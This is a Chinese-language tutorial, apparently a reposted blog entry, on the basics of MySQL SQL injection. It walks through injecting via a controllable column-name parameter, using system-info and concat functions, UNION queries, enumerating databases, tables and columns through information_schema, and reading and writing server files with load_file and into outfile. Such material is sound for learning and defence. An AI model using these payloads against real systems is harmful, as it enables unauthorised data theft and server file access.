1. 程式人生 > >MySQL中關於SQL註入的相關需要的基礎知識

MySQL中關於SQL註入的相關需要的基礎知識

img 3.1 lock 默認 nts 3.4 不同 constrain 拼接

零、緒論:

  文章部分整理來源於公司同事,特此鳴謝!!!

一、關於註入點在KEY上的註入:

我們來看一個查詢,你的第一個字段是過濾器(filter)第二個字段是查詢的關鍵字,例如查詢ip == 1.2.3.4 ,你選擇查詢的類型是IP 內容是1.2.3.4

此時SQL語句有兩種辦法拼接:

 1 #1
 2 sql = "select * from asset where type=‘ip‘ and value=‘1.2.3.4‘;"
 3 ‘‘‘
 4 表結構應該是這樣
 5 id      type               value
 6 1     domain         baidu.com
7 2 ip 1.2.3.4 8 ‘‘‘ 9 #2 10 sql = "select * from asset where ip=‘1.2.3.4‘;" 11 ‘‘‘ 12 表結構應該這樣 13 id ip state 14 1 1.2.3.4 up 15 2 1.2.3.1 down 16 ‘‘‘

類似於第二種,如果ip這個地方是可以控制的,那麽也有可能存在註入:(備註一般這麽寫SQL的很少,但是也備不住有這麽設計的不是!)

類似這種註入的SQL拼接就和以前一般註入點在value上有所不同;

這種拼接時候要註意拼接時候閉合後面的內容 例如原URL是http://www.ipcheck.com/ipcheckindex?key=ip&value=1.2.3.4

那麽現在可以如下http://www.ipcheck.com/ipcheckindex?key=ip%20=‘1.2.3.4’ union select ...#&value=1.2.3.4

二、MySQL的函數

1、系統信息函數:

1. version()——MySQL版本?
2. user()——數據庫用戶名?
3. database()——數據庫名?
4. @@datadir——數據庫路徑?
5. @@version_compile_os——操作系統版本

技術分享圖片

2、字符串連接函數

concat(str1,str2,...)——沒有分隔符地連接字符串?
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
?group_concat(str1,str2,...)——連接一個組的所有字符串,並以逗號分隔每一條數據

技術分享圖片

三、union select 和 union all select用法(引用源自:陳征)

SQL UNION 語法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
註釋:默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL。
SQL UNION ALL 語法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 結果集中的列名總是等於 UNION 中第一個 SELECT 語句中的列名。

1、union

技術分享圖片

2、union all

技術分享圖片

四、MYSQL中的information_schema(引用源自:陳征)

在 MySQL中,把 information_schema 看作是一個數據庫,確切說是信息數據庫。其中保存著關於MySQL服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。在INFORMATION_SCHEMA中,有數個只讀表。它們實際上是視圖,而不是基本表,因此,你將無法看到與之相關的任何文件。
information_schema數據庫表說明:

SCHEMATA表:提供了當前mysql實例中所有數據庫的信息。是show databases的結果取之此表。

TABLES表:提供了關於數據庫中的表的信息(包括視圖)。詳細表述了某個表屬於哪個schema,表類型,表引擎,創建時間等信息。是show tables from schemaname的結果取之此表。

COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。

STATISTICS表:提供了關於表索引的信息。是show index from schemaname.tablename的結果取之此表。

USER_PRIVILEGES(用戶權限)表:給出了關於全程權限的信息。該信息源自mysql.user授權表。是非標準表。

SCHEMA_PRIVILEGES(方案權限)表:給出了關於方案(數據庫)權限的信息。該信息來自mysql.db授權表。是非標準表。

TABLE_PRIVILEGES(表權限)表:給出了關於表權限的信息。該信息源自mysql.tables_priv授權表。是非標準表。

COLUMN_PRIVILEGES(列權限)表:給出了關於列權限的信息。該信息源自mysql.columns_priv授權表。是非標準表。

CHARACTER_SETS(字符集)表:提供了mysql實例可用字符集的信息。是SHOW CHARACTER SET結果集取之此表。

COLLATIONS表:提供了關於各字符集的對照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用於校對的字符集。這些列等效於SHOW COLLATION的前兩個顯示字段。

TABLE_CONSTRAINTS表:描述了存在約束的表。以及表的約束類型。

KEY_COLUMN_USAGE表:描述了具有約束的鍵列。

ROUTINES表:提供了關於存儲子程序(存儲程序和函數)的信息。此時,ROUTINES表不包含自定義函數(UDF)。名為“mysql.proc name”的列指明了對應於INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表:給出了關於數據庫中的視圖的信息。需要有show views權限,否則無法查看視圖信息。

TRIGGERS表:提供了關於觸發程序的信息。必須有super權限才能查看該表

補充關註點(引用源自:陳征):

由MySQL的information_schema數據庫的一般註入流程:
猜解字段數
Order by , # id=0‘ order by 4%23
Union 聯合查詢的方式 #0‘ union select 1,2,3%23
猜數據庫
select schema_name from information_schema.schemata
Select schema_name from information_schema.schemata limit 0,1
Select group_concat(schema_name) from information_schema.schemata
猜某庫的數據表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
獲取某列的內容
Select *** from ****

五、關於文件讀寫:

1、寫文件:

select 內容 into outfile ‘/path/filename‘;

2、讀文件:

select load_file(路徑)

MySQL中關於SQL註入的相關需要的基礎知識